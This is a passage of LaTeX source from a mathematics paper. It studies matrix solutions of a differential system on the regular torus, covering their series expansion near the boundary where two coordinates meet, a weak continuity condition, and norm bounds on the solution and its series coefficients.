-\kappa\gamma\left( \frac{1}{u+v}+\frac{1}{u-v}\right) \sum_{n=0}^{\infty }\alpha_{n}z^{n}\right\} \\
\qquad{} =\kappa\left( \big( u^{2}-z^{2}\big) \prod_{j=1}^{N-2}x_{j}\right)^{-\gamma\kappa}\sum_{n=0}^{\infty}\alpha_{n}z^{n}\\
\qquad\quad{} \times\left\{ \sum_{m=0}^{\infty}\big\{ (-1) ^{m}\beta
_{m}(x(u,0)) +\sigma\beta_{m}( x(u,0)) \sigma\big\} z^{m}-\frac{\gamma}{u+v}I-\frac{\gamma}{u-v}I\right\} ,
\end{gather*}
leading to (with $1\leq j\leq N-2$)
\begin{gather*}
\sum_{n=0}^{\infty}\partial_{u}\alpha_{n}(x(u,0))z^{n} =\kappa\sum_{n=0}^{\infty}\alpha_{n}( x(u,0)) z^{n}\sum_{m=0}^{\infty}\big\{ (-1) ^{m}\beta_{m}(x(u,0)) +\sigma\beta_{m} ( x (u,0)) \sigma\big\} z^{m},\\
\sum_{n=0}^{\infty}\partial_{j}\alpha_{n}(x(u,0))z^{n} =\kappa\sum_{n=0}^{\infty}\alpha_{n}( x(u,0)) z^{n}\\
\hphantom{\sum_{n=0}^{\infty}\partial_{j}\alpha_{n}(x(u,0))z^{n} =}{}
\times\left\{ \sum_{i=1,i\notin j}^{N-2}\frac{\tau( (i,j)) }{x_{j}-x_{i}}-\sum_{m=0}^{\infty}\frac{\tau((j,N-1)) +(-1) ^{m}\tau((j,N)) }{(u-x_{j}) ^{m+1}}z^{m}\right\}.
\end{gather*}
We only need the equations for $\alpha_{0}( x(u,0)) $ (that is, the coef\/f\/icient of $z^{0}$) to initialize the~$\partial_{z}$ equation (this is valid because the system is Frobenius integrable):
\begin{gather}
\partial_{u}\alpha_{0}(x(u,0)) =\kappa \alpha_{0}(x(u,0)) \big\{ \beta_{0}(x(u,0)) +\sigma\beta_{0}( x(u,0)) \sigma\big\} ,\label{dua0x}\\
\partial_{j}\alpha_{0}(x(u,0)) =\kappa \alpha_{0}(x(u,0)) \left\{ \sum_{i=1,i\notin j}^{N-2}\frac{\tau((i,j)) }{x_{j}-x_{i}} -\frac{\tau((j,N-1)) +\tau((
j,N)) }{(u-x_{j}) }\right\} ,\nonumber\\
\hphantom{\partial_{j}\alpha_{0}(x(u,0)) =}{} 2\leq j\leq N-2.\nonumber
\end{gather}
\begin{Lemma}
$\sigma\alpha_{0}(x(u,0)) \sigma=\alpha_{0}(x(u,0)) $ and $\alpha_{0}( x(u,0)) $ is invertible.
\end{Lemma}
\begin{proof}
By hypothesis $\alpha_{0}\big( x^{(0) }\big) =I$. The right hand sides of the system are invariant under the transformation $Q\mapsto \sigma Q\sigma$ thus $\alpha_{0}(x(u,0)) $ and $\sigma\alpha_{0}(x(u,0)) \sigma$ satisfy the same system. They agree at the base-point $x^{(0) }$, hence everywhere in the domain. By Jacobi's identity the determinant satisf\/ies (where $\lambda:=\operatorname{tr}(\sigma) =n_{\tau}-2m_{\tau}$)
\begin{gather*}
\partial_{u}\det\alpha_{0}(x(u,0)) =\kappa\det\alpha_{0}(x(u,0)) \operatorname{tr} \{ \beta_{0}(x(u,0)) +\sigma\beta
_{0}(x(u,0)) \sigma \} \\
\hphantom{\partial_{u}\det\alpha_{0}(x(u,0))}{} =2\kappa\det\alpha_{0}(x(u,0)) \mathrm{\lambda }\sum_{j=1}^{N-2}\frac{1}{(u-x_{j}) },\\
\partial_{j}\det\alpha_{0}(x(u,0)) =\kappa\lambda\det\alpha_{0}(x(u,0)) \left\{\sum_{i=1,i\notin j}^{N-2}\frac{1}{x_{j}-x_{i}}-\frac{2}{u-x_{j}}\right\},\qquad 1\leq j\leq N-2,\\
\det\alpha_{0}(x(u,0)) =\prod_{1\leq i<j\leq N-2}\left( \frac{x_{i}-x_{j}}{x_{i}^{(0) }-x_{j}^{(0) }}\right) ^{\lambda\kappa}\prod_{i=1}^{N-2}\left( \frac{x_{i}-u}{x_{i}^{(0) }-x_{N-1}^{(0) }}\right)^{2\lambda\kappa},
\end{gather*}
the multiplicative constant follows from $\alpha_{0}\big( x^{(0) }\big) =I$. Thus $\alpha_{0}(x(u,0))$ is nonsingular in its domain.
\end{proof}
We turn to the inductive def\/inition of $\{ \alpha_{n}( x(u,0) ) \colon n\geq1\} $.
In terms of the block decomposition $( m_{\tau}+( n_{\tau}-m_{\tau})) \times( m_{\tau}+( n_{\tau}-m_{\tau})) $ (henceforth called the $\sigma$-\emph{block
decomposition}) of a matrix
\begin{gather*}
\alpha=\left[
\begin{matrix}
\alpha_{11} & \alpha_{12}\\
\alpha_{21} & \alpha_{22}%
\end{matrix}
\right]
\end{gather*}
$\sigma\alpha\sigma=\alpha$ if and only if $\alpha_{12}=O=\alpha_{21}$ and $\sigma\alpha\sigma=-\alpha$ if and only if $\alpha_{11}=O=\alpha_{22}$. Write the $\sigma$-block decomposition of $\alpha_{n}(u) $ as
\begin{gather*}
\alpha_{n}=\left[
\begin{matrix}
\alpha_{n,11} & \alpha_{n,12}\\
\alpha_{n,21} & \alpha_{n,22}%
\end{matrix}
\right]
\end{gather*}
then the coef\/f\/icient of $z^{n-1}$ on the left side of equation (\ref{eqnDz}) is
\begin{gather*}
\kappa ( \sigma\alpha_{n}-\alpha_{n}\sigma ) +n\alpha_{n}=\left[
\begin{matrix}
n\alpha_{n,11} & (n-2\kappa) \alpha_{n,12}\\
( n+2\kappa) \alpha_{n,21} & n\alpha_{n,22}
\end{matrix}
\right] ,
\end{gather*}
and on the right side it is
\begin{gather*}
\kappa S_{n}(x(u,0)) :=\kappa\sum_{i=0}^{n-1}\alpha_{n-1-i}B_{i}(x(u,0)) ,
\end{gather*}
for $n\geq1$. Arguing inductively suppose $\sigma\alpha_{m}\sigma= (-1 ) ^{m}\alpha_{m}$ for $0\leq m\leq n$, then $\sigma S_{n}\sigma
=\sum\limits_{i=0}^{n-1} ( \sigma\alpha_{n-1-i}\sigma ) ( \sigma B_{i}\sigma ) =\sum\limits_{i=0}^{n-1}(-1) ^{n-1-i+i-1}\alpha_{n-1-i}B_{i}$ and thus $\sigma S_{n}(u) \sigma= (-1) ^{n}S_{n}(u) $. In terms of the $\sigma$-block decomposition $\left[
\begin{matrix}
S_{n,11} & S_{n,12}\\
S_{n,21} & S_{n,22}%
\end{matrix}
\right] $ of $S_{n}(x(u,0)) $ this condition implies $S_{n,12}=O=S_{n,21}$ when $n$ is even, and $S_{n,11}=O=S_{n,22}$ when~$n$ is odd. This implies (for $n=1,2,3,\ldots$)
\begin{gather}
\alpha_{2n}(x(u,0)) =\frac{\kappa}{2n}S_{2n}(x(u,0)) ,\label{recurS}\\
\alpha_{2n-1} ( x ( u,0 )) =\rho\left( \frac{\kappa}{2n-1-2\kappa},\frac{\kappa}{2n-1+2\kappa}\right) S_{2n-1}(x(u,0)) ,\nonumber
\end{gather}
and thus $\sigma\alpha_{n}(x(u,0)) \sigma= ( -1) ^{n}\alpha_{n}(x(u,0)) $. In particular
\begin{gather*}
\alpha_{1}(x(u,0)) =\rho\left( \frac{\kappa }{1-2\kappa},\frac{\kappa}{1+2\kappa}\right) \alpha_{0}( x(u,0)) B_{0}(x(u,0)) ,
\end{gather*}
and all the coef\/f\/icients are determined; by hypothesis $\kappa\notin \mathbb{Z+}\frac{1}{2}$ and the denominators are of the form $2m+1\pm2\kappa$.
Henceforth denote the series (\ref{Lzseries}), solving (\ref{Lsys}) with the normalization $\alpha_{0}\big( x^{(0) }\big) =I$ by~$L_{1}(x) $. It is def\/ined for all $x(u,z) \in\mathcal{C}_{0}$ subject to $\vert z\vert <\min\limits_{1\leq j\leq N-2}\vert x_{j}-u \vert $, also $\vert z\vert <\vert u\vert$, $\operatorname{Im}\frac{z}{u}>0$. The radius of convergence depends on $x(u,0) $. Return to using $L ( x) $ to denote the solution from Def\/inition~\ref{DefL(x)T} (on all of $\mathbb{T}_{\rm reg}^{N}$ and $L(x_{0}) =I$). In terms of $x (u,z ) $ the point $x_{0}$ corresponds to $u=\frac{1}{2} \big(\omega^{-1}+\omega^{-2} \big) $, $z=\frac{1}{2}\big( \omega^{-1}-\omega^{-2}\big) $, $x(u,z) =\big( 1,\omega,\ldots,\omega^{N-3},u-z,u+z\big) $, then $\min\limits_{1\leq j\leq N-2} \vert u-x_{j}\vert =\sin\frac{\pi}{N}\big( 5+4\cos\frac{2\pi}{N}\big) $ and $\vert z\vert =\sin\frac{\pi}{N}$ (also $\frac{z}{u}=\mathrm{i}\tan\frac{\pi}{N}$) and $x_{0}$ is in the domain of convergence of the series $L_{1}(x) $. Thus the relation $L_{1} (x ) =L_{1}(x_{0}) L(x) $ holds in the domain of $L_{1}$ in $\mathcal{C}_{0}$. This implies the important fact that $L_{1}(x_{0}) $ is an analytic function of~$\kappa$, to be
exploited in Section~\ref{anlcmat}.
\subsection{Behavior on boundary}
The term $\rho ( z^{-\kappa},z^{\kappa} ) $ implies that $L_{1}(x) $ is not continuous at $z=0$, that is, on the boundary $ \{ x\colon x_{N-1}=x_{N}\}$. However there may be a weak type of continuity, specif\/ically
\begin{gather*}
\lim\limits_{x_{N-1}-x_{N}\rightarrow0} (K(x) -K( x(N-1,N))) =0.
\end{gather*}
With the aim of expressing the desired $K(x) $ in the form $L(x) ^{\ast}C^{\ast}CL(x) $ (and $C$ is unknown at this stage) we consider $CL(x) $ in series form, that is $CL_{1}(x_{0}) ^{-1}L_{1}(x) $ (recall $\det L(x) \neq0$ in $\mathcal{C}_{0}$). We analyze the ef\/fect of~$C$ on the weak continuity condition. Denote $C^{\prime}:=CL_{1}( x_{0}) ^{-1}$.
From Proposition \ref{L(xw)M} $L(x(N-1,N)) =\nu((N-1,N)) L(x) \tau( (N-1,N)) =L(x) \sigma$, because $w(1) =1$ for $w=(N-1,N) $, [for the special case $N=3$, $\tau=(2,1) $, $\mathbb{T}_{\rm reg}^{3}$ has two components and we def\/ine $L(x) =L( x(2,3)) \sigma$ for the component $\neq\mathcal{C}_{0}$]. By use of $x(u,z)(N-1,N) =x(u,-z) $ it follows that
\begin{gather*}
CL( x(u,z) (N-1,N)) =CL(x(u,z) ) \sigma =C^{\prime}\left( x_{N}x_{N-1}\right) ^{-\gamma\kappa}\rho\big(z^{-\kappa},z^{\kappa}\big) \sum_{n=0}^{\infty}\alpha_{n}(u)z^{n}\sigma\\
\hphantom{CL( x(u,z) (N-1,N))}{} =C^{\prime}\sigma ( x_{N}x_{N-1} ) ^{-\gamma\kappa}\rho\big(z^{-\kappa},z^{\kappa}\big) \sum_{n=0}^{\infty}\alpha_{n}(u)
(-1) ^{n}z^{n},
\end{gather*}
because $\sigma\alpha_{n}(u) \sigma=(-1)^{n}\alpha_{n}(u) $ and $\sigma=\rho(-1,1) $.
Recall $L^{\ast}(x) $ is def\/ined as $L(\phi x)^{T}$ with complex constants replaced by their conjugates. Then $\phi x(u,z) =\big( x_{1}^{-1},x_{2}^{-1},\ldots,x_{N-2}^{-1},\frac{1}{u-z},\frac{1}{u+z}\big)$. To compute $L_{1} ( \phi x (u,z )) $ replace $u$ by $u^{\prime}=\frac{u}{(u+z)
(u-z) }$ and replace $z$ by $z^{\prime}=-\frac{z}{(u+z) (u-z) }$. When restricted to the torus $u^{\prime}=\frac{1}{2}\big( \frac{1}{x_{N-1}}+\frac{1}{x_{N}}\big) =\overline{u}$ and $z^{\prime}=\frac{1}{2}\big( \frac{1}{x_{N-1}}-\frac{1}{x_{N}}\big) =\overline{z}$. The terms $\beta_{n}(u) :=\sum\limits_{j=1}^{N-2}\frac{\tau((j,N)) }{( u-x_{j}) ^{n+1}}$ in the intermediate formulae for $L_{1}$ are replaced by their complex conjugates when $x(u,z) \in\mathbb{T}^{N}$. Similarly $\widetilde{\beta}_{k}:=\sum\limits_{m=0}^{\infty}\sum\limits_{j=1}^{N-2}\frac{\tau((j,N)) }{(u_{0}-x_{j}) ^{k+1}}$ transforms to $\overline{( \widetilde{\beta}_{k}) }$ because the constant $u_{0}$ is conjugated. Thus for $x(u,z) \in\mathbb{T}_{\rm reg}^{N}$
\begin{gather*}
L_{1}(x(u,z)) ^{\ast}=\sum_{m=0}^{\infty}\alpha_{m}(u) ^{\ast}\overline{z}^{m}\rho \big( \overline {z}^{-\kappa},\overline{z}^{\kappa}\big) C^{^{\prime}\ast} (\overline{x_{N}x_{N-1}}) ^{-\gamma\kappa};
\end{gather*}
$\alpha_{m}(u) ^{\ast}$ denotes the adjoint of the matrix $\alpha_{m}(u) $. Then
\begin{gather*}
L_{1}( x(u,z) (N-1,N)) ^{\ast}=\sum_{m=0}^{\infty}(-1) ^{m}\alpha_{m}(u) ^{\ast
}\overline{z}^{m}\rho( \overline{z}^{-\kappa},\overline{z}^{\kappa}) \sigma C^{^{\prime}\ast}( \overline{x_{N}x_{N-1}})
^{-\gamma\kappa}.
\end{gather*}
Furthermore (recall $K(x(N-1,N)) =\sigma K(x) \sigma$ by def\/inition)
\begin{gather*}
K(x(u,z)) =\sum_{m,n=0}^{\infty}\overline
{z}^{m}z^{n}\alpha_{m}(u) ^{\ast}\rho\big( \overline
{z}^{-\kappa},\overline{z}^{\kappa}\big) C^{\prime\ast}C^{\prime}%
\rho\big( z^{-\kappa},z^{\kappa}\big) \alpha_{n}(u) ,\\
K(x(u,-z)) =\sum_{m,n=0}^{\infty}\overline
{z}^{m}z^{n}(-1) ^{m+n}\alpha_{m}(u) ^{\ast}\rho\big( \overline{z}^{-\kappa},\overline{z}^{\kappa}\big) \sigma
C^{\prime\ast}C^{\prime}\sigma\rho\big( z^{-\kappa},z^{\kappa}\big)\alpha_{n}(u) .
\end{gather*}
The term of lowest order in $z$ in $K(x(u,z)) -K( x(u,-z)) $ is
\begin{gather*}
\alpha_{0}(u) ^{\ast}\rho\big( \overline{z}^{-\kappa
},\overline{z}^{\kappa}\big) \big\{ C^{\prime\ast}C^{\prime}-\sigma
C^{\prime\ast}C^{\prime}\sigma\big\} \rho\big( z^{-\kappa},z^{\kappa}\big) \alpha_{0}(u) .
\end{gather*}
In terms of the $\sigma$-block decomposition, with%
\begin{gather*}
C^{\prime\ast}C^{\prime}=
\begin{bmatrix}
c_{11} & c_{12}\\
c_{12}^{\ast} & c_{22}
\end{bmatrix}
,\qquad \alpha_{0}(u) =
\begin{bmatrix}
a_{11}(u) & O\\
O & a_{22}(u)
\end{bmatrix}
\end{gather*}
the expression equals
\begin{gather*}
2
\begin{bmatrix}
O & \left( \dfrac{z}{\overline{z}}\right) ^{\kappa}a_{11}(u)
^{\ast}c_{12}a_{22}(u) \\
\left( \dfrac{\overline{z}}{z}\right) ^{\kappa}a_{22}(u)
^{\ast}c_{12}^{\ast}a_{11}(u) & O
\end{bmatrix},
\end{gather*}
which tends to zero as $z\rightarrow0$ if and only if $c_{12}=0$, that is, $\sigma C^{\ast}C\sigma=C^{\ast}C$.
\begin{Proposition}
Suppose $C^{\prime\ast}C^{\prime}$ commutes with $\sigma$ then
\begin{gather*}
K(x(u,z)) -K( x(u,z) (N-1,N)) =O\big( \vert z\vert ^{1-2\vert\kappa\vert }\big).
\end{gather*}
\end{Proposition}
\begin{proof}
The hypothesis implies $C^{\prime\ast}C^{\prime}$ commutes with $\rho(z^{-\kappa},z^{\kappa}) $, thus
\begin{gather*}
K(x(u,z)) -K ( x(u,z)(N-1,N)) \\
\qquad{} =\sum_{m,n=0}^{\infty}\overline{z}^{m}z^{n}\big( 1-(-1)^{m+n}\big) \alpha_{m}(u) ^{\ast}\rho\big(\vert z \vert ^{-2\kappa},\vert z\vert ^{2\kappa}\big)C^{\prime\ast}C^{\prime}\alpha_{n}(u) \\
\qquad{} =2z\alpha_{0}(u) ^{\ast}\rho\big( \vert z\vert^{-2\kappa},\vert z\vert ^{2\kappa}\big) C^{\prime\ast}
C^{\prime}\alpha_{1}(u) +2\overline{z}\alpha_{1}(u) ^{\ast}\rho\big( \vert z\vert ^{-2\kappa}, \vert z \vert ^{2\kappa}\big) C^{^{\prime}\ast}C^{\prime}\alpha_{0} (u) \\
\qquad\quad{} +\sum_{m+n\geq2}^{\infty}\overline{z}^{m}z^{n}\big( 1-(-1)^{m+n}\big) \alpha_{m}(u) ^{\ast}\rho\big(\vert
z \vert ^{-2\kappa},\vert z\vert ^{2\kappa}\big)C^{\prime\ast}C^{\prime}\alpha_{n}(u) .
\end{gather*}
The dominant terms come from $m=0,n=1$ and $m=1,n=0$; both of order $O\big(\vert z\vert ^{1-2\vert \kappa\vert }\big) $.
\end{proof}
We will see later for purpose of integration by parts, that the change in $K$ between the points $\big( x_{1},\ldots,x_{N-2},e^{\mathrm{i}\theta}, e^{\mathrm{i} ( \theta-\varepsilon ) }\big) $ and $\big(x_{1},\ldots,x_{N-2},e^{\mathrm{i}\theta},e^{\mathrm{i}( \theta+\varepsilon) }\big) $ is a key part of the analysis; this uses the relation $K\big( \big( x_{1},\ldots,x_{N-2},e^{\mathrm{i}\theta },e^{\mathrm{i}( \theta-\varepsilon) }\big) \big) =\sigma
K\big( \big( x_{1},\ldots,x_{N-2},e^{\mathrm{i} ( \theta -\varepsilon ) },e^{\mathrm{i}\theta}\big) \big) \sigma$.
\section{Bounds}\label{bnds}
In this section we derive bounds on $L(x) $ of global and local type. Throughout we adopt the normalization $L(x_{0}) =I$. The operator norm on $n_{\tau}\times n_{\tau}$ complex matrices is def\/ined by $\Vert M\Vert =\sup\{ \vert Mv\vert \colon \vert v \vert =1 \} $.
\begin{Theorem}\label{Lbnd}There is a constant $c$ depending on $\kappa$ such that $\Vert L(x) \Vert \leq c\prod\limits_{1\leq i<j\leq N}\vert x_{i}-x_{j}\vert ^{-\vert \kappa\vert }$ for each $x\in\mathbb{T}_{\rm reg}^{N}$.
\end{Theorem}
The proof is a series of steps starting with a general result which applies to matrix functions satisfying a linear dif\/ferential equation in one variable.
\begin{Lemma}\label{bdsM}Suppose $M(0) =I$, $\frac{d}{dt}M(t)
=M(t) F(t) $ and $ \Vert F(t) \Vert \leq f(t) $ for $0\leq t\leq1$ then $ \Vert M(t) -I\Vert \leq\exp\int_{0}^{t}f(s)\mathrm{d}s-1$ and $\Vert M(1)\Vert \leq\exp\int_{0}^{1}f(s) \mathrm{d}s$.
\end{Lemma}
\begin{proof}[{Proof from \cite[Theorem~7.1.11]{Stoer/Bulirsch1980}}] Let $\ell(t) := \Vert M(t) -I \Vert $ then the equation $M (t) -I=\int_{0}^{t}M(s) F(s) \mathrm{d}s$ and the inequalities $\Vert M(t) \Vert \leq\Vert M(t) -I \Vert + \Vert I \Vert $ (and $ \Vert I\Vert =1$) imply that $\ell(t) \leq\int_{0}^{t}(\ell(s) +1) f(s) \mathrm{d}s$. Def\/ine dif\/ferentiable functions~$b(t) $ and~$h(t) $ by
\begin{gather*}
h(t) :=\exp\int_{0}^{t}f(s) \mathrm{d}s,\\
b(t) h(t) =\int_{0}^{t}( \ell (s) +1) f(s) \mathrm{d}s+1.
\end{gather*}
Apply $\frac{d}{dt}$to the latter equation:%
\begin{gather*}
b^{\prime}(t) h(t) +b(t) f (t) h(t) =( \ell(t) +1)f(t) ,\\
b^{\prime}(t) h(t) =f(t)\left\{ \ell(t) +1-\int_{0}^{t} ( \ell(s)+1) f(s) \mathrm{d}s-1\right\} \\
\hphantom{b^{\prime}(t) h(t)}{} =f(t) \left\{ \ell(t) -\int_{0}^{t}(\ell(s) +1) f(s) \mathrm{d}s\right\}\leq0.
\end{gather*}
Hence $b^{\prime}(t) \leq0$ and $b(t) \leq b(0) =1$ which implies
\begin{gather*}
\ell(t) \leq\int_{0}^{t} ( \ell(s) +1 ) f(s) \mathrm{d}s=b(t) h(t) -1\leq h(t) -1.
\end{gather*}
Finally $ \Vert M(1) \Vert \leq$ $ \Vert M ( 1 ) -I \Vert +1\leq\exp\int_{0}^{1}f(s) \mathrm{d}s$.
\end{proof}
Next we set up a dif\/ferentiable path $p(t) = ( p_{1} ( t ) ,\ldots,p_{N}(t)) $ in $\mathbb{C}_{\rm reg}^{N}$ starting at $x_{0}$ and obtain the equation
\begin{gather*}
\frac{\mathrm{d}}{\mathrm{d}t}L(p(t)) =\kappa L( p(t)) \sum_{i=1}^{N}\left\{ \sum_{j\neq i}\frac{p_{i}^{\prime}(t) }{p_{i}(t) -p_{j}(t) }
\tau((i,j)) -\gamma\frac{p_{i}^{\prime}(t) }{p_{i}(t) }I\right\} \\
\hphantom{\frac{\mathrm{d}}{\mathrm{d}t}L(p(t))}{} =\kappa L(p(t)) \left\{ \sum_{1\leq i<j\leq
N}\frac{p_{j}^{\prime}(t) -p_{i}^{\prime}(t)}{p_{j}(t) -p_{i}(t) }\tau ( (i,j)) -\gamma\sum_{i=1}^{N}\frac{p_{i}^{\prime} (t) }{p_{i}(t) }I\right\} .
\end{gather*}
Suppose $x=\big( e^{\mathrm{i}\theta_{1}},\ldots,e^{\mathrm{i}\theta_{N}}\big) \in\mathcal{C}_{0}$ and $\theta_{1}<\theta_{2}<\cdots<\theta
_{N}<\theta_{1}+2\pi$. Def\/ine the path $p(t) =\big( e^{\mathrm{i}g_{1}(t) },\ldots,e^{\mathrm{i}g_{N}(t) }\big) $ where $g_{j}(t) =(1-t)
\frac{2(j-1) \pi}{N}+t\theta_{j}$ for $1\leq j\leq N$. Then $p(t) \in\mathcal{C}_{0}$ for $0\leq t\leq1$ because $g_{i+1}(t) -g_{i}(t) =(1-t)
\frac{2\pi}{N}+t ( \theta_{i+1}-\theta_{i} ) >0$ for $1\leq i<N$ and $2\pi+g_{1}(t) -g_{N}(t) =2\pi+t\theta_{1}-(1-t) \frac{2(N-1) \pi}{N}-t\theta
_{N}=(1-t) \frac{2\pi}{N}+t ( 2\pi+\theta_{1}-\theta _{N}) >0$. The factor of $\tau((i,j)) $ in the equation is
\begin{gather*}
\mathrm{i}\frac{g_{j}^{\prime}(t) e^{\mathrm{i}g_{j} (t) }-g_{i}^{\prime}(t) e^{\mathrm{i}g_{i}(t) }}{e^{\mathrm{i}g_{j}(t) }-e^{\mathrm{i}g_{i}(t) }}=
\frac{1}{2}\left\{( g_{j}^{\prime}(t) -g_{i}^{\prime}(t)) \frac{\cos\big( \frac{1}{2}(g_{j}(t) -g_{i}(t) ) \big) }{\sin\big(
\frac{1}{2}( g_{j}(t) -g_{i}(t) )\big) }+\mathrm{i} ( g_{j}^{\prime}(t) +g_{i}^{\prime
}(t) ) \right\} .
\end{gather*}
We will apply Lemma \ref{bdsM} to $\widetilde{L}(x) =\prod\limits_{j=1}^{N}x_{j}^{\gamma\kappa}L(x) $; this only changes the phase and removes the $\sum\limits_{i=1}^{N}\frac{p_{i}^{\prime} (t) }{p_{i}(t) }$ term. In the notation of Lemma~\ref{bdsM}
\begin{gather*}
f(t) =\vert \kappa\vert \sum\limits_{i<j}\left\vert \mathrm{i}\frac{g_{j}^{\prime}(t) e^{\mathrm{i}g_{j}(t) }-g_{i}^{\prime}(t)
e^{\mathrm{i}g_{i}(t) }}{e^{\mathrm{i}g_{j}(t)}-e^{\mathrm{i}g_{i}(t) }}\right\vert
\end{gather*} (since $\Vert\tau((i,j))\Vert =1$). To set up the
integral
$\int_{0}^{1}f(t) \mathrm{d}t$ let \begin{gather*}\phi_{ij} (t) =\frac{1}{2}( g_{j}(t) -g_{i}(t)) =\frac{1}{2}\left\{ (1-t) \frac{2(j-i)
\pi}{N}+t(\theta_{j}-\theta_{i}) \right\}
\end{gather*} so that $\phi
_{ij}^{^{\prime}}(t) =\frac{1}{2}\big( \theta_{j}-\theta_{i}+\frac{2(j-i) \pi}{N}\big) $ and $0<\phi_{ij}(t) <\pi$ for $i<j$ and $0\leq t\leq1$. The terms $\vert \mathrm{i} ( g_{j}^{\prime}(t) +g_{i}^{\prime}(t) )\vert \leq 4\pi$ provide a simple bound (no singularities of\/f $\mathbb{T}_{\rm reg}^{N}$). The dominant terms come from $\int_{0}^{1}\frac{\vert \phi_{ij}^{\prime}\cos\phi_{ij}(t)\vert }{\sin\phi_{ij}(t) }\mathrm{d}t$. There are two cases. Let $\phi_{0},\phi_{1}$ satisfy $0<\phi_{0},\phi_{1}<\pi$ and let $\phi(t) =(1-t) \phi_{0}+t\phi_{1}$. The antiderivative $\int\frac{\phi^{\prime}\cos\phi(t) }{\sin \phi(t) }\mathrm{d}t=\log\sin\phi(t) $. The f\/irst case applies when either $0<\phi_{0},\phi_{1}\leq\frac{\pi}{2}$ or $\frac{\pi
}{2}\leq\phi_{0},\phi_{1}<\pi$ (assign $\phi_{0}=\frac{\pi}{2}=\phi_{1}$ to the f\/irst interval); then $\phi^{\prime}\cos\phi(t) \geq0$ if $0<\phi_{0}\leq\phi_{1}\leq\frac{\pi}{2}$ or $\frac{\pi}{2}\leq\phi_{1}\leq\phi_{0}<\pi$ and $\phi^{\prime}\cos\phi(t) <0$ otherwise. These imply
\begin{gather*}
\int_{0}^{1}\frac{ \vert \phi^{\prime}\cos\phi(t)\vert }{\sin\phi(t) }\mathrm{d}t=\left\vert \log\frac{\sin\phi_{1}}{\sin\phi_{0}}\right\vert .
\end{gather*}
The second case applies when either $0<\phi_{0}<\frac{\pi}{2}<\phi_{1}<\pi$ (thus $\phi^{\prime}>0$) or $0<\phi_{1}<\frac{\pi}{2}<\phi_{0}<\pi$. Let
$\phi(t_{0}) =\frac{\pi}{2}$ (that is, $t_{0}=\frac{\pi /2-\phi_{0}}{\phi_{1}-\phi_{0}})$. In the f\/irst situation
\begin{gather*}
\int_{0}^{1}\frac{\vert \phi^{\prime}\cos\phi(t)\vert }{\sin\phi(t) }\mathrm{d}t =\int_{0}^{t_{0}}
\frac{\phi^{\prime}\cos\phi(t) }{\sin\phi(t)}\mathrm{d}t-\int_{t_{0}}^{1}\frac{\phi^{\prime}\cos\phi(t)
}{\sin\phi(t) }\mathrm{d}t =-\log\sin\phi_{0}-\log\sin\phi_{1},
\end{gather*}
since $\log\sin\frac{\pi}{2}=0$; and the same value holds for the second situation. We obtain
\begin{gather*}
\int_{0}^{1}f(t) \mathrm{d}t\leq\vert \kappa\vert \sum_{1\leq i<j\leq N}\left\{ -\log\sin\frac{\theta_{j}-\theta_{i}}{2}-\log\sin\frac{(j-i) \pi}{N}+4\pi\right\} .
\end{gather*}
Taking exponentials and using the lemma (recall $\big\vert e^{\mathrm{i}\phi_{1}}-e^{\mathrm{i}\phi_{2}}\big\vert =2\sin\big\vert \frac{\phi
_{1}-\phi_{2}}{2}\big\vert $) we obtain%
\begin{gather*}
\Vert L(x)\Vert \leq c\prod\limits_{1\leq i<j\leq N}\vert x_{i}-x_{j}\vert ^{-\vert \kappa\vert }.
\end{gather*}
This bound applies to all of $\mathbb{T}_{\rm reg}^{N}$ when $L ( x_{0}) $ commutes with $\upsilon$ and $L$ is extended to $\mathbb{T}_{\rm reg}^{N}$ as in Def\/inition~\ref{DefL(x)T}. This completes the proof of Theorem~\ref{Lbnd}.
Next we f\/ind bounds on the series expansion from (\ref{Lzseries})
\begin{gather*}
L_{1}(x) =\left( \big( u^{2}-z^{2}\big) \prod_{j=1}^{N-2}x_{j}\right) ^{-\gamma\kappa}\rho\big( z^{-\kappa},z^{\kappa}\big)
\sum_{n=0}^{\infty}\alpha_{n}(x(u,0)) z^{n},
\end{gather*}
where $\vert z\vert <\delta_{0}:=\min\limits_{1\leq j\leq N-2}\left\vert u-x_{j}\right\vert $ and $\operatorname{Im}\frac{z}{u}>0$. Recall the recurrence~(\ref{recurS})
\begin{gather*}
S_{n} :=\sum_{i=0}^{n-1}\alpha_{n-1-i}\big\{ (-1) ^{i}\beta_{i}-\sigma\beta_{i}\sigma\big\} , \qquad \beta_{i}:=\sum_{j=0}^{N-2}\frac{\tau((j,N)) }{(u-x_{j}) ^{i+1}},\\
\alpha_{2n}(x(u,0)) =\frac{\kappa}{2n}S_{2n},\\
\alpha_{2n+1}(x(u,0)) =\rho\left(\frac{\kappa}{2n+1-2\kappa},\frac{\kappa}{2n+1+2\kappa}\right) S_{2n+1}.
\end{gather*}
\begin{Proposition}Suppose $\vert \kappa\vert \leq\kappa_{0}<\frac{1}{2}$ and $\lambda:=( N-2) \kappa_{0}$ then for $n\geq0$
\begin{gather}
\Vert \alpha_{2n}(x(u,0)) \Vert \leq \Vert \alpha_{0}(x(u,0)) \Vert \frac{(\lambda) _{n}\big( \lambda+\frac{1}{2}-\kappa
_{0}\big) _{n}}{n!\big( \frac{1}{2}-\kappa_{0}\big) _{n}}\delta _{0}^{-2n},\label{bndan}\\
\Vert \alpha_{2n+1}(x(u,0)) \Vert \leq \Vert \alpha_{0}(x(u,0)) \Vert \frac{(\lambda) _{n+1}\big( \lambda+\frac{1}{2}-\kappa
_{0}\big) _{n}}{n!\big( \frac{1}{2}-\kappa_{0}\big) _{n+1}}\delta _{0}^{-2n-1}.\nonumber
\end{gather}
\end{Proposition}
\begin{proof} Suppose $n\geq1$ then $ \Vert S_{n} \Vert \leq\sum\limits_{i=0}^{n-1-i} \Vert \alpha_{n-1-i} \Vert ( 2N-4) \delta
_{0}^{-i-1}$ (since $ \Vert \tau((j,N-1))\Vert =1$). Furthermore, since $\big\vert \frac{\kappa}{n\pm2\kappa }\big\vert \leq\frac{\kappa_{0}}{n-2\kappa_{0}}$ for $n\geq2$, we f\/ind
\begin{gather*}
\Vert \alpha_{2n+1}\Vert \leq\frac{2\lambda}{2n+1-2\kappa_{0}}\sum\limits_{i=0}^{2n} \Vert \alpha_{2n-i}\Vert \delta_{0}^{-i-1},\\
\Vert \alpha_{2n}\Vert \leq\frac{\lambda}{n}\sum\limits_{i=0}^{2n-1} \Vert \alpha_{2n-1-i}\Vert \delta_{0}^{-i-1}.
\end{gather*}
